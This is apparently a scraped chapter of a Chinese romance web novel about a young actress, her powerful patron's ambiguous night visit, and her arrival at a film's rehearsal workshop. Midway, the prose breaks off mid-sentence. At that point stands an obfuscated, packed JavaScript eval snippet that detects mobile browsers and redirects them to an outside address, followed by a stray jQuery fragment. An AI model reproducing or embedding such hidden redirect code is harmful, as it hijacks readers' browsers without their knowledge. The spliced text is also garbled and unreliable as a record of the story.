商里湖的这句话像一块烧红的烙铁，猝不及防地烫在许意欢的心尖上。


    空气凝滞，他靠得太近，温热的气息混着那句意有所指的话，几乎要将她单薄的防线灼穿。


    许意欢的心脏在胸腔里疯狂擂动，血液涌上脸颊和耳根，带来一阵羞耻的滚烫。


    是了，他给了她《田园牧歌》的露脸机会，然后她成了他随叫随到的女伴。


    她陪同他出席活动时表现良好，便得到了研习班和更多商务。


    现在，《回声》这块她梦寐以求的“大饼”也以近乎奇迹的方式落到了她手里。


    在给予实质性资源之后，关系似乎就应该更进一步。


    女伴的职责，从来都不只是光鲜亮丽地站在他身边。


    从她接受第一份资源开始，她就知道有些东西不过是延迟付款。


    他此刻深夜踏入她的私人领地，在昏暗环境中说这样的话，意思再明显不过。


    巨大的紧张和一种近乎本能的抗拒瞬间攫住了她。


    她垂在身侧的手指悄然蜷紧，指甲深深陷进掌心，用疼痛维持着最后一丝摇摇欲坠的镇定。


    大脑飞速运转，却是一片混乱的空白。


    她该如何回应？接受？拒绝？还是装傻？


    她甚至能感觉到自己的睫毛在不受控制地轻颤，尽管她拼命维持着脸上的平静，或者说，僵直。


    商里湖敏锐地捕捉到了她瞬间的僵硬，以及那双在昏暗光线中陡然睁大的眼睛里，一闪而过的惊惶与戒备。


    和他预想中的反应，分毫不差。


    他维持着那个俯身靠近的姿势，能闻到她身上淡淡的、属于她自己的清甜气息，混着刚才食物残留的一点暖香。


    她确实还是个小女孩儿，没有在这种暗示下顺势露出娇羞或进行推拉的能力，反而像只受惊后竖起浑身尖刺的刺猬，虽然那尖刺在他看来柔软得可怜。


    就在许意欢的神经绷紧到极致，几乎要脱口而出什么或做出更激烈的反应时——


    商里湖忽然直起了身。


    那股迫人的压力随之散去大半。


    他低低地又笑了一声，这一次的笑声更轻，也更短，带着一种玩味得逞后的慵懒，以及……一丝几乎难以察觉的恶劣。


    “吓到了？”他退后半步，重新拉开了两人之间那道无形的社交距离，语气恢复了惯常的慵懒，甚至有点漫不经心，“这么藏不住情绪，怎么当艺人？”


    许意欢怔住，一时之间竟有些反应不过来。


    他……是在逗她？


    “我……”她张了张嘴，却发现喉咙干涩，不知道该说什么。


    承认被吓到？还是强装镇定？


    商里湖却没再给她组织语言的机会。


    他最后瞥了一眼黑暗中那幅画的模糊轮廓，又看了看她依旧绷紧的侧影，淡淡道：“画挂的位置不错。”


    说完，他转身，步履从容地走向门口，身影融入楼道昏黄的光线里。


    “早点休息。”他头也不回地说，声音在安静的环境里显得格外清晰，“进组前把状态调整好。李锐的组，没那么好待。”


    说完，他高大的身影便消失在门外，脚步声沿着楼梯向下，渐行渐远。


    许意欢独自站在黑暗的公寓里，背靠着冰凉的门板，半晌没有动弹。


    夜风从敞开的门吹进来，带来一丝凉意，也吹散了她额角不知何时沁出的冷汗。


    她捂住脸，深深吸了一口气，又缓缓吐出。


    心脏仍在狂跳，后怕和一种难以言喻的羞恼交织着。


    她就像一只被猛兽爪尖拨弄过的兔子，即使猛兽已经悠哉离开，那种生死一线的战栗感却久久不散。


    他到底……是什么意思？


    是真的只是一时兴起的恶劣玩笑，还是某种更隐晦的警告或预告？


    许意欢依旧看不透他。


    但至少今夜，危机似乎暂时解除了。


    许意欢走到窗边，掀开窗帘一角，看着楼下那辆黑色的宾利慕尚无声地滑入夜色，尾灯很快消失在街道尽头。


    或许，刚才真的只是一次心血来潮的试探，或者干脆就是恶劣的玩笑，想看她的窘迫。


    但无论如何，《回声》的角色是实打实地落在了她手里。


    她转身，目光落在黑暗中那幅《惊涛》模糊的轮廓上。


    不管他出于什么目的，给了什么暗示，此刻对她而言，最重要的，是抓住眼前这根绳索。


    —


    《回声》的剧组筹备极其严谨，开机前安排了为期两周的封闭式剧本围读和表演工作坊，地点就在北洲郊区一个僻静的创作基地。


    进组那天，琳达姐亲自开车送她。


    车子驶离市区，窗外的景致逐渐变得开阔。


    琳达姐一边开车，一边从后视镜里打量许意欢。


    女孩穿着简单的卫衣和牛仔裤，素颜，长发扎成清爽的马尾，正低头看着剧本，侧脸沉静，带着一种即将投入战场的专注。


    琳达姐清了清嗓子，打破了车内的安静：“意欢啊，这次进组，好好表现。李导的戏，又是冲奖的配置，演好了，前途无量。”


    “嗯，我知道，琳达姐。”许意欢抬起头，应了一声。


    琳达姐顿了顿，语气变得有些感慨，也带着几分精明的盘算：“说起来，这次能拿下这个角色，真是……运气来了挡都挡不住。我之前还担心资方那边会咬死商业价值，没想到最后还是定了你。”


    她瞟了许意欢一眼，话里有话，“看来，商总那边，是使了劲的。”


    狂喜之后，她也早已回过味来。


    许意欢翻动剧本的手指几不可察地停顿了一下，没接话。


    琳达姐见状，自顾自地说了下去，语气里带着一种过来人的了然：“商总这个人啊，确实如外界传言，是慷慨的。你看，不用你开口求，不用你费心暗示，该给的资源，他自然就会给到位。这种大方，很多时候是求都求不来。”


    她说着，似乎觉得气氛有些沉闷，又半开玩笑地添了一句，试图让话题轻松些：“要我说啊意欢，你条件这么好，又这么得商总‘赏识’，不如努努力，想想怎么更‘进一步’？要是真能成了商家的女主人，那可比你在片场熬大夜、拼死拼活拍戏强多了！到时候，什么资源不是随你挑？”


    这话说得露骨，但也带着一丝玩笑的夸张，谁都知道，以商里湖的身家和背景，以许意欢的出身和现状，所谓的“女主人”根本是天方夜谭，是云泥之别。


    琳达姐自己说出来，都觉得有些滑稽，更像是调节气氛的闲扯。


    许意欢终于从剧本


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958077|193222||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上完全抬起了头。


    她看向琳达姐的后脑勺，目光清澈而平静，没有因为这句玩笑而露出任何羞赧或幻想，反而有种超越年龄的清醒。


    “琳达姐，”她的声音不大，却清晰，“你觉得，他给这些资源，是因为赏识我吗？”


    琳达姐一愣。


    许意欢扯了扯嘴角，露出一丝极淡的、没有什么温度的笑：“在他眼里，这或许就跟看到一只乖巧漂亮的猫，随手扔给它两颗进口猫粮没什么区别。猫粮再贵，对主人来说，也只是随手的小玩意儿。猫因此感恩戴德，甚至幻想成为这个家的女主人……那不是笑话吗？”


    她的语气很淡，只是在陈述一个事实。


    琳达姐从后视镜里看了她一眼，女孩侧脸线条柔和，眼神却透着一种冷冽的透彻。


    琳达姐心里叹了口气，没再继续这个话题。


    这丫头，心里比谁都明白，也……比谁都倔。


    车子最终停在了一处被竹林掩映的院落前，环境清幽，与世隔绝，正是剧组租用的创作基地。


    琳达姐帮着许意欢把简单的行李拿下来，又叮嘱了几句在组里要机灵、要尊重前辈、有事随时打电话，这才驱车离开。


    许意欢拖着行李箱，走进院落。


    已有一些工作人员和演员提前到达，三三两两地低声交谈。


    氛围不像商业剧组那样喧闹，更偏向一种严肃的创作气氛。


    她按照指示来到分配给自己的房间，简单安置后，便带着剧本和笔记本，走向作为主要活动场所的大会议室。


    今天下午是第一次全体主创见面和剧本围读。


    推开会议室厚重的木门，里面已经坐了不少人。


    导演李锐、编剧、制片人等核心成员坐在前方长桌后，其他演员则分散坐在下面的椅子上。


    许意欢目光不动声色地扫过场内。


    她看到了几位业内公认的戏骨前辈，看到了几位颇具潜力的年轻演员，气氛肃穆而专注。


    李导看到她，严肃的脸上露出一丝难得的温和，点了点头：“意欢来了，先坐。等男女主角到了，我们开个集训前沟通会。”


    许意欢礼貌地向各位老师问好，在靠边的位置安静坐下。


    她心里有些好奇，《回声》的男女主角人选一直是保密的，就连她拿到角色后，琳达姐多方打听也没得到确切消息。


    只知道都是非常有分量的演员。


    大约又过了十分钟，会议室的门再次被推开。


    先进来的是女主角——一位息影多年、此次被李导力邀出山、以演技封神的影后级前辈，周瑾。


    她衣着朴素，气质沉静，一进来就带着一股让人心安的气场，微笑着与众人打招呼。


    许意欢连忙起身，恭敬地问好。


    周瑾温和地看了她一眼，点点头。


    然后，众人的目光又转向了门口。


    一个挺拔的身影走了进来，穿着简单的灰色运动套装，头发清爽，脸上带着温和而略显歉意的笑容，对李导和众人点了点头：“抱歉，李导，有点事情耽误了。”


    他的声音清朗，瞬间吸引了全场的目光。


    许意欢的视线落在来人脸上，瞳孔几不可察地收缩了一下。


    竟然是——


    陆景明。